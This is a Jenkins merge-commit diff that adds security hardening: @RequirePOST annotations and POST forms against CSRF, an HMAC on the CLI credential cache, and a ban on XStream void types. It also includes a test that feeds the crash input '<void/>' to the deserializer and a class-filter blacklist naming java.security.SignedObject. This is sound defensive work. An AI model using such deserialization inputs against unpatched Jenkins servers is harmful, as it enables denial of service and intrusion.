提交 70dbe9cc 编写于 作者: J Jesse Glick

Merge branch 'master' into OldDataMonitorTest.unlocatableRun-JENKINS-26718

......@@ -5,7 +5,7 @@
<parent>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>pom</artifactId>
<version>2.57-SNAPSHOT</version>
<version>2.58-SNAPSHOT</version>
</parent>
<artifactId>cli</artifactId>
......
......@@ -29,7 +29,7 @@ THE SOFTWARE.
<parent>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>pom</artifactId>
<version>2.57-SNAPSHOT</version>
<version>2.58-SNAPSHOT</version>
</parent>
<artifactId>jenkins-core</artifactId>
......
......@@ -1296,6 +1296,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
return hudson.util.HttpResponses.okJSON(response);
}
@RequirePOST
public HttpResponse doUpdateSources(StaplerRequest req) throws IOException {
Jenkins.getInstance().checkPermission(CONFIGURE_UPDATECENTER);
......@@ -1330,6 +1331,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
/**
* Performs the installation of the plugins.
*/
@RequirePOST
public void doInstall(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
Set<String> plugins = new LinkedHashSet<>();
......
......@@ -62,6 +62,7 @@ import org.jenkinsci.Symbol;
import org.jvnet.robust_http_client.RetryableHttpStream;
import org.kohsuke.stapler.DataBoundConstructor;
import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* HTTP proxy configuration.
......@@ -334,6 +335,7 @@ public final class ProxyConfiguration extends AbstractDescribableImpl<ProxyConfi
return FormValidation.ok();
}
@RequirePOST
public FormValidation doValidateProxy(
@QueryParameter("testUrl") String testUrl, @QueryParameter("name") String name, @QueryParameter("port") int port,
@QueryParameter("userName") String userName, @QueryParameter("password") String password,
......
package hudson.cli;
import com.google.common.annotations.VisibleForTesting;
import hudson.FilePath;
import hudson.remoting.Channel;
import hudson.util.Secret;
......@@ -17,6 +18,9 @@ import java.io.InputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import jenkins.security.HMACConfidentialKey;
/**
* Represents the authentication credential store of the CLI client.
......@@ -31,6 +35,10 @@ import java.util.Properties;
*/
@Deprecated
public class ClientAuthenticationCache implements Serializable {
private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ClientAuthenticationCache.class, "MAC");
private static final Logger LOGGER = Logger.getLogger(ClientAuthenticationCache.class.getName());
/**
* Where the store should be placed.
*/
......@@ -39,7 +47,8 @@ public class ClientAuthenticationCache implements Serializable {
/**
* Loaded contents of the store.
*/
private final Properties props = new Properties();
@VisibleForTesting
final Properties props = new Properties();
public ClientAuthenticationCache(Channel channel) throws IOException, InterruptedException {
store = (channel==null ? FilePath.localChannel : channel).call(new MasterToSlaveCallable<FilePath, IOException>() {
......@@ -66,12 +75,32 @@ public class ClientAuthenticationCache implements Serializable {
*/
public Authentication get() {
Jenkins h = Jenkins.getActiveInstance();
Secret userName = Secret.decrypt(props.getProperty(getPropertyKey()));
if (userName==null) return Jenkins.ANONYMOUS; // failed to decrypt
String val = props.getProperty(getPropertyKey());
if (val == null) {
LOGGER.finer("No stored CLI authentication");
return Jenkins.ANONYMOUS;
}
Secret oldSecret = Secret.decrypt(val);
if (oldSecret != null) {
LOGGER.log(Level.FINE, "Ignoring insecure stored CLI authentication for {0}", oldSecret.getPlainText());
return Jenkins.ANONYMOUS;
}
int idx = val.lastIndexOf(':');
if (idx == -1) {
LOGGER.log(Level.FINE, "Ignoring malformed stored CLI authentication: {0}", val);
return Jenkins.ANONYMOUS;
}
String username = val.substring(0, idx);
if (!MAC.checkMac(username, val.substring(idx + 1))) {
LOGGER.log(Level.FINE, "Ignoring stored CLI authentication due to MAC mismatch: {0}", val);
return Jenkins.ANONYMOUS;
}
try {
UserDetails u = h.getSecurityRealm().loadUserByUsername(userName.getPlainText());
UserDetails u = h.getSecurityRealm().loadUserByUsername(username);
LOGGER.log(Level.FINER, "Loaded stored CLI authentication for {0}", username);
return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities());
} catch (AuthenticationException | DataAccessException e) {
LOGGER.log(Level.FINE, "Stored CLI authentication did not correspond to a valid user: " + username, e);
return Jenkins.ANONYMOUS;
}
}
......@@ -79,10 +108,11 @@ public class ClientAuthenticationCache implements Serializable {
/**
* Computes the key that identifies this Hudson among other Hudsons that the user has a credential for.
*/
private String getPropertyKey() {
@VisibleForTesting
String getPropertyKey() {
String url = Jenkins.getActiveInstance().getRootUrl();
if (url!=null) return url;
return Secret.fromString("key").toString();
return Secret.fromString("key").getEncryptedValue();
}
/**
......@@ -94,7 +124,8 @@ public class ClientAuthenticationCache implements Serializable {
// make sure that this security realm is capable of retrieving the authentication by name,
// as it's not required.
UserDetails u = h.getSecurityRealm().loadUserByUsername(a.getName());
props.setProperty(getPropertyKey(), Secret.fromString(u.getUsername()).getEncryptedValue());
String username = u.getUsername();
props.setProperty(getPropertyKey(), username + ":" + MAC.mac(username));
save();
}
......@@ -107,7 +138,8 @@ public class ClientAuthenticationCache implements Serializable {
save();
}
private void save() throws IOException, InterruptedException {
@VisibleForTesting
void save() throws IOException, InterruptedException {
try (OutputStream os = store.write()) {
props.store(os, "Credential store");
}
......
......@@ -50,6 +50,7 @@ import org.apache.tools.ant.taskdefs.Move;
import org.apache.tools.ant.Project;
import org.apache.tools.ant.DefaultLogger;
import org.apache.tools.ant.types.FileSet;
import org.kohsuke.stapler.interceptor.RequirePOST;
import javax.servlet.ServletException;
import java.io.File;
......@@ -109,6 +110,7 @@ public class WindowsInstallerLink extends ManagementLink {
/**
* Performs installation.
*/
@RequirePOST
public void doDoInstall(StaplerRequest req, StaplerResponse rsp, @QueryParameter("dir") String _dir) throws IOException, ServletException {
if(installationDir!=null) {
// installation already complete
......@@ -170,6 +172,7 @@ public class WindowsInstallerLink extends ManagementLink {
}
}
@RequirePOST
public void doRestart(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
if(installationDir==null) {
// if the user reloads the page after Hudson has restarted,
......
......@@ -130,6 +130,7 @@ public class LogRecorderManager extends AbstractModelObject implements ModelObje
* Configure the logging level.
*/
@edu.umd.cs.findbugs.annotations.SuppressFBWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE")
@RequirePOST
public HttpResponse doConfigLogger(@QueryParameter String name, @QueryParameter String level) {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
Level lv;
......
......@@ -1347,6 +1347,7 @@ public abstract class AbstractBuild<P extends AbstractProject<P,R>,R extends Abs
* Use {@link #doStop()}
*/
@Deprecated
@RequirePOST // #doStop() should be preferred, but better to be safe
public void doStop(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
doStop().generateResponse(req,rsp,this);
}
......
......@@ -535,6 +535,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
checkPermission(CONFIGURE);
......
......@@ -792,6 +792,7 @@ public abstract class AbstractProject<P extends AbstractProject<P,R>,R extends A
}
@Override
@RequirePOST
public void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
super.doConfigSubmit(req,rsp);
......
......@@ -201,6 +201,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
return Jenkins.getInstance().getComputer(token);
}
@RequirePOST
public void do_launchAll(StaplerRequest req, StaplerResponse rsp) throws IOException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
......@@ -216,6 +217,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
*
* TODO: ajax on the client side to wait until the update completion might be nice.
*/
@RequirePOST
public void doUpdateNow( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
......@@ -232,6 +234,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
/**
* First check point in creating a new agent.
*/
@RequirePOST
public synchronized void doCreateItem( StaplerRequest req, StaplerResponse rsp,
@QueryParameter String name, @QueryParameter String mode,
@QueryParameter String from ) throws IOException, ServletException {
......@@ -281,6 +284,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
/**
* Really creates a new agent.
*/
@RequirePOST
public synchronized void doDoCreateItem( StaplerRequest req, StaplerResponse rsp,
@QueryParameter String name,
@QueryParameter String type ) throws IOException, ServletException, FormException {
......
......@@ -57,6 +57,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Service for plugins to periodically retrieve update data files
......@@ -370,6 +371,7 @@ public class DownloadService extends PageDecorator {
/**
* This is where the browser sends us the data.
*/
@RequirePOST
public void doPostBack(StaplerRequest req, StaplerResponse rsp) throws IOException {
DownloadSettings.checkPostBackAccess();
long dataTimestamp = System.currentTimeMillis();
......
......@@ -41,6 +41,7 @@ import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
......@@ -171,6 +172,7 @@ public class Hudson extends Jenkins {
* Use {@link #doQuietDown()} instead.
*/
@Deprecated
@RequirePOST
public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException {
doQuietDown().generateResponse(null, rsp, this);
}
......
......@@ -53,6 +53,7 @@ import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.StaplerFallback;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* A UserProperty that remembers user-private views.
......@@ -152,6 +153,7 @@ public class MyViewsProperty extends UserProperty implements ModifiableViewGroup
return new HttpRedirect("view/" + Util.rawEncode(getPrimaryView().getViewName()) + "/");
}
@RequirePOST
public synchronized void doCreateView(StaplerRequest req, StaplerResponse rsp)
throws IOException, ServletException, ParseException, FormException {
checkPermission(View.CREATE);
......
......@@ -2163,6 +2163,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
return true;
}
@RequirePOST
public void doToggleLogKeep( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
keepLog(!keepLog);
rsp.forwardToPreviousPage(req);
......@@ -2218,6 +2219,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
setDescription(req.getParameter("description"));
rsp.sendRedirect("."); // go to the top page
......
......@@ -35,6 +35,7 @@ import java.io.IOException;
import hudson.security.Permission;
import hudson.security.ACL;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Partial {@link Action} implementation for those who kick some
......@@ -137,6 +138,7 @@ public abstract class TaskAction extends AbstractModelObject implements Action {
/**
* Clears the error status.
*/
@RequirePOST
public synchronized void doClearError(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
getACL().checkPermission(getPermission());
......
......@@ -154,6 +154,7 @@ public class TreeView extends View implements ViewGroup {
// noop
}
@RequirePOST
public void doCreateView( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
checkPermission(View.CREATE);
views.add(View.create(req,rsp,this));
......
......@@ -637,6 +637,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
*
* @since 1.432
*/
@RequirePOST
public HttpResponse doInvalidateData() {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
for (UpdateSite site : sites) {
......@@ -650,6 +651,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Schedules a Jenkins restart.
*/
@RequirePOST
public void doSafeRestart(StaplerRequest request, StaplerResponse response) throws IOException, ServletException {
synchronized (jobs) {
if (!isRestartScheduled()) {
......@@ -664,6 +666,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Cancel all scheduled jenkins restarts
*/
@RequirePOST
public void doCancelRestart(StaplerResponse response) throws IOException, ServletException {
synchronized (jobs) {
for (UpdateCenterJob job : jobs) {
......@@ -738,6 +741,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Performs hudson downgrade.
*/
@RequirePOST
public void doRestart(StaplerResponse rsp) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
HudsonDowngradeJob job = new HudsonDowngradeJob(getCoreSource(), Jenkins.getAuthentication());
......
......@@ -193,6 +193,7 @@ public class UpdateSite {
/**
* This is the endpoint that receives the update center data file from the browser.
*/
@RequirePOST
public FormValidation doPostBack(StaplerRequest req) throws IOException, GeneralSecurityException {
DownloadSettings.checkPostBackAccess();
return updateData(IOUtils.toString(req.getInputStream(),"UTF-8"), true);
......
......@@ -338,6 +338,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
checkPermission(Jenkins.ADMINISTER);
......
......@@ -54,6 +54,7 @@ import org.kohsuke.accmod.restrictions.DoNotUse;
import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Security configuration.
......@@ -92,6 +93,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr
return Jenkins.getInstance().isDisableRememberMe();
}
@RequirePOST
public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
// for compatibility reasons, the actual value is stored in Jenkins
BulkChange bc = new BulkChange(Jenkins.getInstance());
......
......@@ -60,6 +60,7 @@ import org.kohsuke.stapler.HttpResponses;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import org.springframework.dao.DataAccessException;
import javax.servlet.Filter;
......@@ -214,6 +215,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* Creates an account and associates that with the given identity. Used in conjunction
* with {@link #commenceSignup}.
*/
@RequirePOST
public User doCreateAccountWithFederatedIdentity(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
User u = _doCreateAccount(req,rsp,"signupWithFederatedIdentity.jelly");
if (u!=null)
......@@ -226,6 +228,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
/**
* Creates an user account. Used for self-registration.
*/
@RequirePOST
public User doCreateAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
return _doCreateAccount(req, rsp, "signup.jelly");
}
......@@ -264,6 +267,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* This version behaves differently from {@link #doCreateAccount(StaplerRequest, StaplerResponse)} in that
* this is someone creating another user.
*/
@RequirePOST
public void doCreateAccountByAdmin(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
createAccountByAdmin(req, rsp, "addUser.jelly", "."); // send the user back to the listing page on success
}
......@@ -275,7 +279,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
public User createAccountByAdmin(StaplerRequest req, StaplerResponse rsp, String addUserView, String successView) throws IOException, ServletException {
checkPermission(Jenkins.ADMINISTER);
User u = createAccount(req, rsp, false, addUserView);
if(u != null) {
if (u != null && successView != null) {
rsp.sendRedirect(successView);
}
return u;
......@@ -287,6 +291,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* <p>
* This can be run by anyone, but only to create the very first user account.
*/
@RequirePOST
public void doCreateFirstAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
if(hasSomeUser()) {
rsp.sendError(SC_UNAUTHORIZED,"First user was already created");
......
......@@ -27,6 +27,7 @@ import hudson.model.Computer;
import org.kohsuke.stapler.HttpRedirect;
import org.kohsuke.stapler.HttpResponse;
import org.kohsuke.stapler.HttpResponses;
import org.kohsuke.stapler.interceptor.RequirePOST;
import java.io.IOException;
import javax.annotation.CheckForNull;
......@@ -53,6 +54,7 @@ public class AbstractCloudComputer<T extends AbstractCloudSlave> extends SlaveCo
* When the agent is deleted, free the node right away.
*/
@Override
@RequirePOST
public HttpResponse doDoDelete() throws IOException {
checkPermission(DELETE);
try {
......
......@@ -30,6 +30,7 @@ import jenkins.util.Timer;
import org.apache.commons.io.FileUtils;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import javax.servlet.ServletException;
import javax.servlet.ServletContext;
......@@ -174,6 +175,7 @@ public class DoubleLaunchChecker {
/**
* Ignore the problem and go back to using Hudson.
*/
@RequirePOST
public void doIgnore(StaplerRequest req, StaplerResponse rsp) throws IOException {
ignore = true;
Jenkins.getInstance().servletContext.setAttribute("app", Jenkins.getInstance());
......
......@@ -145,6 +145,9 @@ public class XStream2 extends XStream {
// list up types that should be marshalled out like a value, without referential integrity tracking.
addImmutableType(Result.class);
// http://www.openwall.com/lists/oss-security/2017/04/03/4
denyTypes(new Class[] { void.class, Void.class });
registerConverter(new RobustCollectionConverter(getMapper(),getReflectionProvider()),10);
registerConverter(new RobustMapConverter(getMapper()), 10);
registerConverter(new ImmutableMapConverter(getMapper(),getReflectionProvider()),10);
......
......@@ -4,6 +4,7 @@ import hudson.Util;
import hudson.util.HttpResponses;
import jenkins.model.Jenkins;
import org.kohsuke.stapler.HttpResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import java.io.File;
import java.io.IOException;
......@@ -48,6 +49,7 @@ public class HsErrPidFile {
return HttpResponses.staticResource(file);
}
@RequirePOST
public HttpResponse doDelete() throws IOException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
file.delete();
......
......@@ -42,6 +42,7 @@ import hudson.model.User;
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy;
import hudson.security.HudsonPrivateSecurityRealm;
import hudson.security.SecurityRealm;
import hudson.security.csrf.CrumbIssuer;
import hudson.security.csrf.DefaultCrumbIssuer;
import hudson.util.HttpResponses;
import hudson.util.PluginServletFilter;
......@@ -62,6 +63,7 @@ import net.sf.json.JSONObject;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import org.kohsuke.accmod.restrictions.DoNotUse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* A Jenkins instance used during first-run to provide a limited set of services while
......@@ -218,7 +220,8 @@ public class SetupWizard extends PageDecorator {
/**
* Called during the initial setup to create an admin user
*/
public void doCreateAdminUser(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
@RequirePOST
public HttpResponse doCreateAdminUser(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
Jenkins j = Jenkins.getInstance();
j.checkPermission(Jenkins.ADMINISTER);
......@@ -231,7 +234,7 @@ public class SetupWizard extends PageDecorator {
admin.delete(); // assume the new user may well be 'admin'
}
User u = securityRealm.createAccountByAdmin(req, rsp, "/jenkins/install/SetupWizard/setupWizardFirstUser.jelly", req.getContextPath() + "/");
User u = securityRealm.createAccountByAdmin(req, rsp, "/jenkins/install/SetupWizard/setupWizardFirstUser.jelly", null);
if (u != null) {
if(admin != null) {
admin = null;
......@@ -250,6 +253,11 @@ public class SetupWizard extends PageDecorator {
Authentication a = new UsernamePasswordAuthenticationToken(u.getId(),req.getParameter("password1"));
a = securityRealm.getSecurityComponents().manager.authenticate(a);
SecurityContextHolder.getContext().setAuthentication(a);
CrumbIssuer crumbIssuer = Jenkins.getInstance().getCrumbIssuer();
JSONObject data = new JSONObject().accumulate("crumbRequestField", crumbIssuer.getCrumbRequestField()).accumulate("crumb", crumbIssuer.getCrumb(req));
return HttpResponses.okJSON(data);
} else {
return HttpResponses.okJSON();
}
} finally {
if(admin != null) {
......@@ -456,6 +464,7 @@ public class SetupWizard extends PageDecorator {
/**
* Remove the setupWizard filter, ensure all updates are written to disk, etc
*/
@RequirePOST
public HttpResponse doCompleteInstall() throws IOException, ServletException {
completeSetup();
return HttpResponses.okJSON();
......
......@@ -106,6 +106,7 @@ import hudson.model.listeners.ItemListener;
import hudson.model.listeners.SCMListener;
import hudson.model.listeners.SaveableListener;
import hudson.remoting.Callable;
import hudson.remoting.ClassFilter;
import hudson.remoting.LocalChannel;
import hudson.remoting.VirtualChannel;
import hudson.scm.RepositoryBrowser;
......@@ -250,6 +251,7 @@ import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.net.BindException;
import java.net.HttpURLConnection;
import java.net.URL;
......@@ -285,6 +287,7 @@ import java.util.concurrent.atomic.AtomicBoolean;
import java.util.logging.Level;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import java.util.regex.Pattern;
import static hudson.Util.*;
import static hudson.init.InitMilestone.*;
......@@ -899,6 +902,28 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365));
// TODO pending move to standard blacklist, or API to append filter
if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // not using SystemProperties since ClassFilter does not either
try {
Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns");
blacklistPatternsF.setAccessible(true);
Object[] blacklistPatternsA = (Object[]) blacklistPatternsF.get(ClassFilter.DEFAULT);
boolean found = false;
for (int i = 0; i < blacklistPatternsA.length; i++) {
if (blacklistPatternsA[i] instanceof Pattern) {
blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)");
found = true;
break;
}
}
if (!found) {
throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA));
}
} catch (NoSuchFieldException | IllegalAccessException x) {
throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x);
}
}
// initialization consists of ...
executeReactor( is,
pluginManager.initTasks(is), // loading and preparing plugins
......@@ -1269,6 +1294,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort);
}
@RequirePOST
public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException {
j.forceSetSlaveAgentPort(getExpectedPort());
rsp.sendRedirect2(req.getContextPath() + "/manage");
......@@ -3612,6 +3638,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Accepts submission from the configuration page.
*/
@RequirePOST
public synchronized void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
BulkChange bc = new BulkChange(this);
try {
......@@ -3699,7 +3726,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
getPrimaryView().doSubmitDescription(req, rsp);
}
@RequirePOST // TODO does not seem to work on _either_ overload!
@RequirePOST
public synchronized HttpRedirect doQuietDown() throws IOException {
try {
return doQuietDown(false,0);
......@@ -3755,6 +3782,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Backward compatibility. Redirect to the thread dump.
*/
// TODO annotate @GET once baseline includes Stapler version XXX
public void doClassicThreadDump(StaplerResponse rsp) throws IOException, ServletException {
rsp.sendRedirect2("threadDump");
}
......@@ -3992,10 +4020,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Do a finger-print check.
*/
@RequirePOST
public void doDoFingerprintCheck( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
// Parse the request
try (MultipartFormDataParser p = new MultipartFormDataParser(req)) {
if (isUseCrumbs() && !getCrumbIssuer().validateCrumb(req, p)) {
// TODO investigate whether this check can be removed
rsp.sendError(HttpServletResponse.SC_FORBIDDEN, "No crumb found");
}
rsp.sendRedirect2(req.getContextPath()+"/fingerprint/"+
......@@ -4084,10 +4114,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
return;
}
restart();
if (req == null || req.getMethod().equals("POST")) {
restart();
}
if (rsp != null) // null for CLI
rsp.sendRedirect2(".");
rsp.sendRedirect2(".");
}
/**
......@@ -4103,7 +4134,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
if (req != null && req.getMethod().equals("GET"))
return HttpResponses.forwardToView(this,"_safeRestart.jelly");
safeRestart();
if (req == null || req.getMethod().equals("POST")) {
safeRestart();
}
return HttpResponses.redirectToDot();
}
......@@ -4771,6 +4804,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
}
@Override
@RequirePOST
public void doConfigSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
Jenkins.getInstance().doConfigExecutorsSubmit(req, rsp);
}
......
......@@ -50,6 +50,7 @@ import javax.annotation.Nonnull;
import org.apache.commons.lang.StringUtils;
import org.kohsuke.accmod.Restricted;
import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Remembers the API token for this user, that can be used like a password to login.
......@@ -178,6 +179,7 @@ public class ApiTokenProperty extends UserProperty {
return new ApiTokenProperty(API_KEY_SEED.mac(user.getId()));
}
@RequirePOST
public HttpResponse doChangeToken(@AncestorInPath User u, StaplerResponse rsp) throws IOException {
ApiTokenProperty p = u.getProperty(ApiTokenProperty.class);
if (p==null) {
......
......@@ -38,6 +38,7 @@ import org.kohsuke.accmod.Restricted;
import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import javax.servlet.ServletException;
import java.io.IOException;
......@@ -73,6 +74,7 @@ public class GlobalToolConfiguration extends ManagementLink {
return Jenkins.ADMINISTER;
}
@RequirePOST
public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, Descriptor.FormException {
boolean result = configure(req, req.getSubmittedForm());
LOGGER.log(Level.FINE, "tools saved: "+result);
......
......@@ -96,7 +96,7 @@ THE SOFTWARE.
</table>
<j:if test="${app.hasPermission(app.ADMINISTER)}">
<div align="right" style="margin-top:0.5em">
<form method="get" action="updateNow">
<form method="post" action="updateNow">
<s:submit value="${%Refresh status}"/>
</form>
</div>
......
......@@ -28,7 +28,7 @@ THE SOFTWARE.
<?jelly escape-by-default='true'?>
<j:jelly xmlns:j="jelly:core" xmlns:st="jelly:stapler" xmlns:d="jelly:define" xmlns:l="/lib/layout" xmlns:t="/lib/hudson" xmlns:f="/lib/form" xmlns:i="jelly:fmt">
<j:if test="${it.parent.buildDiscarder!=null and it.canToggleLogKeep()}">
<form method="get" action="toggleLogKeep" style="margin-top:1em">
<form method="post" action="toggleLogKeep" style="margin-top:1em">
<j:if test="${it.keepLog and h.hasPermission(it,it.DELETE)}">
<f:submit value="${%Don't keep this build forever}" />
</j:if>
......
......@@ -42,7 +42,7 @@ THE SOFTWARE.
<st:getOutput var="output" />
<j:whitespace>${it.obtainLog().writeLogTo(0,output)}</j:whitespace>
</pre>
<form method="get" action="clearError">
<form method="post" action="clearError">
<f:submit value="${%Clear error to retry}" />
</form>
</j:otherwise>
......
......@@ -45,7 +45,7 @@ THE SOFTWARE.
</tr>
</table>
<div>
<form action="${rootURL}/ignore">
<form method="post" action="${rootURL}/ignore">
<f:submit value="${%label}" />
</form>
</div>
......
......@@ -28,6 +28,7 @@ import static org.junit.Assert.*;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import com.thoughtworks.xstream.XStreamException;
import com.thoughtworks.xstream.security.ForbiddenClassException;
import hudson.XmlFile;
import hudson.model.Result;
import hudson.model.Run;
......@@ -296,4 +297,15 @@ public class XStream2Test {
assertEquals("3.2.1", XStream2.trimVersion("3.2.1"));
assertEquals("3.2-SNAPSHOT", XStream2.trimVersion("3.2-SNAPSHOT (private-09/23/2012 12:26-jhacker)"));
}
@Issue("SECURITY-503")
@Test
public void crashXstream() throws Exception {
try {
new XStream2().fromXML("<void/>");
fail("expected to throw ForbiddenClassException, but why are we still alive?");
} catch (ForbiddenClassException ex) {
// pass
}
}
}
......@@ -33,7 +33,7 @@ THE SOFTWARE.
<groupId>org.jenkins-ci.main</groupId>
<artifactId>pom</artifactId>
<version>2.57-SNAPSHOT</version>
<version>2.58-SNAPSHOT</version>
<packaging>pom</packaging>
<name>Jenkins main module</name>
......
......@@ -28,7 +28,7 @@ THE SOFTWARE.
<parent>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>pom</artifactId>
<version>2.57-SNAPSHOT</version>
<version>2.58-SNAPSHOT</version>
</parent>
<artifactId>test</artifactId>
......
/*
* The MIT License
*
* Copyright 2017 CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
